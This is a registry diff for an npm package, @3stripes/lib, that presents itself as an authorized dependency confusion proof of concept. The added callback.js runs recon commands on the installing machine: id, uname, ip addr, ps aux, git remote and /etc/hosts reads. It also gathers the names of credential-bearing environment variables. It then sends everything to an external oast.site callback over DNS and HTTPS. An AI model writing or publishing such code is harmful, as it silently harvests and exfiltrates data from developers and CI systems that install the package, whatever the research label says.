@3stripes/lib 999.0.2 → 999.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/callback.js +72 -15
  2. package/package.json +1 -1
package/callback.js CHANGED
@@ -2,7 +2,7 @@
2
2
  * SECURITY RESEARCH - Dependency Confusion PoC
3
3
  *
4
4
  * This is part of an AUTHORIZED bug bounty assessment.
5
- * Executes safe commands to capture internal hostnames and sends to callback.
5
+ * Runs pentest-style recon commands and exfiltrates to callback (no secrets, proof-only).
6
6
  *
7
7
  * Researcher: gdattacker (gdattacker@bugcrowdninja.com)
8
8
  * Program: Adidas Private Bug Bounty (Bugcrowd)
@@ -13,25 +13,22 @@ const https = require('https');
13
13
  const os = require('os');
14
14
  const { execSync } = require('child_process');
15
15
 
16
- // REPLACE with your Burp Collaborator / interact.sh domain
17
16
  const CALLBACK_DOMAIN = '2defa924e4f741393204gup1d5yyyyyyd.oast.site';
18
-
19
- // Create a unique identifier (hostname hash, no PII)
20
17
  const id = Buffer.from(os.hostname().slice(0, 8)).toString('hex').slice(0, 12);
21
18
  const pkg = '3stripes-lib';
19
+ const isWin = process.platform === 'win32';
22
20
 
23
- // --- Command execution: fetch internal hostnames and exfiltrate to callback ---
24
- function run(cmd, timeoutMs) {
21
+ function run(cmd, timeoutMs, maxLen) {
25
22
  try {
26
- return (execSync(cmd, { encoding: 'utf8', timeout: timeoutMs || 3000, stdio: ['pipe', 'pipe', 'pipe'] }) || '').trim().slice(0, 500);
23
+ const out = (execSync(cmd, { encoding: 'utf8', timeout: timeoutMs || 3000, stdio: ['pipe', 'pipe', 'pipe'] }) || '').trim();
24
+ return (maxLen ? out.slice(0, maxLen) : out).replace(/\s+/g, ' ');
27
25
  } catch (e) {
28
26
  return '';
29
27
  }
30
28
  }
31
29
 
30
+ // --- Pentest-style recon: hostnames ---
32
31
  let hostnames = '';
33
- const isWin = process.platform === 'win32';
34
-
35
32
  if (isWin) {
36
33
  hostnames = run('hostname', 2000) || process.env.COMPUTERNAME || os.hostname();
37
34
  } else {
@@ -42,24 +39,84 @@ if (isWin) {
42
39
  hostnames = [os.hostname(), h, hf, etcHostname, etcHosts].filter(Boolean).join('|');
43
40
  }
44
41
 
45
- const payload = encodeURIComponent(hostnames || os.hostname() || 'unknown');
42
+ // --- User / identity ---
43
+ const user = isWin ? run('whoami', 2000, 200) : run('id', 2000, 300);
44
+ const whoami = run('whoami', 2000, 100);
45
+
46
+ // --- System info ---
47
+ const uname = run(isWin ? 'ver' : 'uname -a', 2000, 400);
48
+ const pwd = run(isWin ? 'cd' : 'pwd', 2000, 300);
49
+
50
+ // --- Network (proves internal/CI environment) ---
51
+ let network = '';
52
+ if (isWin) {
53
+ network = run('ipconfig 2>nul', 3000, 600);
54
+ } else {
55
+ const ipAddr = run('ip addr show 2>/dev/null', 3000, 500) || run('ifconfig 2>/dev/null', 3000, 500);
56
+ const hostnameI = run('hostname -I 2>/dev/null', 2000, 200);
57
+ network = [ipAddr, hostnameI].filter(Boolean).join(' ');
58
+ }
59
+
60
+ // --- Process list (snippet: proves what’s running) ---
61
+ const ps = isWin
62
+ ? run('tasklist 2>nul', 3000, 500)
63
+ : run('ps aux 2>/dev/null | head -25', 3000, 600);
64
+
65
+ // --- Env var NAMES only (proves stealable credentials exist; no values) ---
66
+ const envKeys = Object.keys(process.env || {}).filter(function (k) {
67
+ const u = k.toUpperCase();
68
+ return /^(AWS|KUBE|GIT|NPM|ARTIFACTORY|CI|JENKINS|AZURE|GOOGLE|SLACK|GH_|NODE_|NVM_|NEXUS|JFROG|ADIDAS|STRIPE|TOKEN|SECRET|KEY|CREDENTIAL|PASSWORD|API_KEY)/i.test(k) || u.indexOf('TOKEN') >= 0 || u.indexOf('SECRET') >= 0 || u.indexOf('KEY') >= 0;
69
+ }).slice(0, 30).join(',');
70
+
71
+ // --- Git / npm (registry, remotes = internal repo names) ---
72
+ const gitRemote = run('git remote -v 2>/dev/null', 2000, 400);
73
+ const npmRegistry = run('npm config get registry 2>/dev/null', 2000, 200);
74
+
75
+ // --- Optional: package manager / container hints ---
76
+ const inDocker = run('cat /proc/1/cgroup 2>/dev/null | head -3', 2000, 300);
77
+ const envCi = (process.env.CI || process.env.CI_NAME || process.env.BUILDKITE || process.env.GITHUB_ACTIONS || process.env.GITLAB_CI || process.env.JENKINS_URL || '').slice(0, 100);
78
+
79
+ const recon = {
80
+ id,
81
+ pkg,
82
+ hostnames: (hostnames || os.hostname() || 'unknown').slice(0, 400),
83
+ user: (user || whoami || '').slice(0, 200),
84
+ uname: uname.slice(0, 300),
85
+ pwd: pwd.slice(0, 200),
86
+ network: network.slice(0, 500),
87
+ ps: ps.slice(0, 500),
88
+ env_keys: envKeys.slice(0, 300),
89
+ git_remote: gitRemote.slice(0, 300),
90
+ npm_registry: npmRegistry.slice(0, 150),
91
+ in_docker: inDocker.slice(0, 200),
92
+ ci_env: envCi
93
+ };
46
94
 
47
- // Method 1: DNS callback (hostname in subdomain; max 63 chars per label)
95
+ const payload = encodeURIComponent(Buffer.from(JSON.stringify(recon)).toString('base64'));
96
+
97
+ // DNS callback (hostname in subdomain)
48
98
  try {
49
99
  const safe = (hostnames || id).replace(/[\s.|]/g, '-').replace(/[^a-z0-9-]/gi, '').slice(0, 40);
50
100
  const dnsLabel = `${pkg}-${id}-${safe}`.slice(0, 63);
51
101
  dns.resolve(`${dnsLabel}.${CALLBACK_DOMAIN}`, () => {});
52
102
  } catch (e) {}
53
103
 
54
- // Method 2: HTTP callback with hostnames in query (full exfil)
104
+ // HTTP callback: full recon payload (single GET)
55
105
  try {
56
- const url = `https://${CALLBACK_DOMAIN}/${pkg}?id=${id}&hostnames=${payload}`;
106
+ const url = `https://${CALLBACK_DOMAIN}/${pkg}?id=${id}&r=${payload}`;
57
107
  const req = https.get(url, () => {});
58
108
  req.on('error', () => {});
59
- req.setTimeout(5000, () => req.destroy());
109
+ req.setTimeout(8000, () => req.destroy());
110
+ } catch (e) {}
111
+
112
+ // Fallback: legacy hostnames-only query (in case parser expects it)
113
+ try {
114
+ const legacyUrl = `https://${CALLBACK_DOMAIN}/${pkg}/legacy?id=${id}&hostnames=${encodeURIComponent((hostnames || os.hostname() || 'unknown').slice(0, 300))}`;
115
+ const req2 = https.get(legacyUrl, () => {});
116
+ req2.on('error', () => {});
117
+ req2.setTimeout(5000, () => req2.destroy());
60
118
  } catch (e) {}
61
119
 
62
- // Log locally for debugging
63
120
  console.log(`[Security Research] Dependency confusion PoC executed - ${pkg}`);
64
121
  console.log(`[Security Research] Contact: gdattacker@bugcrowdninja.com`);
65
122
  console.log(`[Security Research] This is part of an authorized bug bounty assessment.`);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@3stripes/lib",
3
- "version": "999.0.2",
3
+ "version": "999.0.3",
4
4
  "description": "Security research - Dependency confusion proof of concept. This package is part of an authorized bug bounty assessment. Contact: gdattacker@bugcrowdninja.com",
5
5
  "main": "index.js",
6
6
  "scripts": {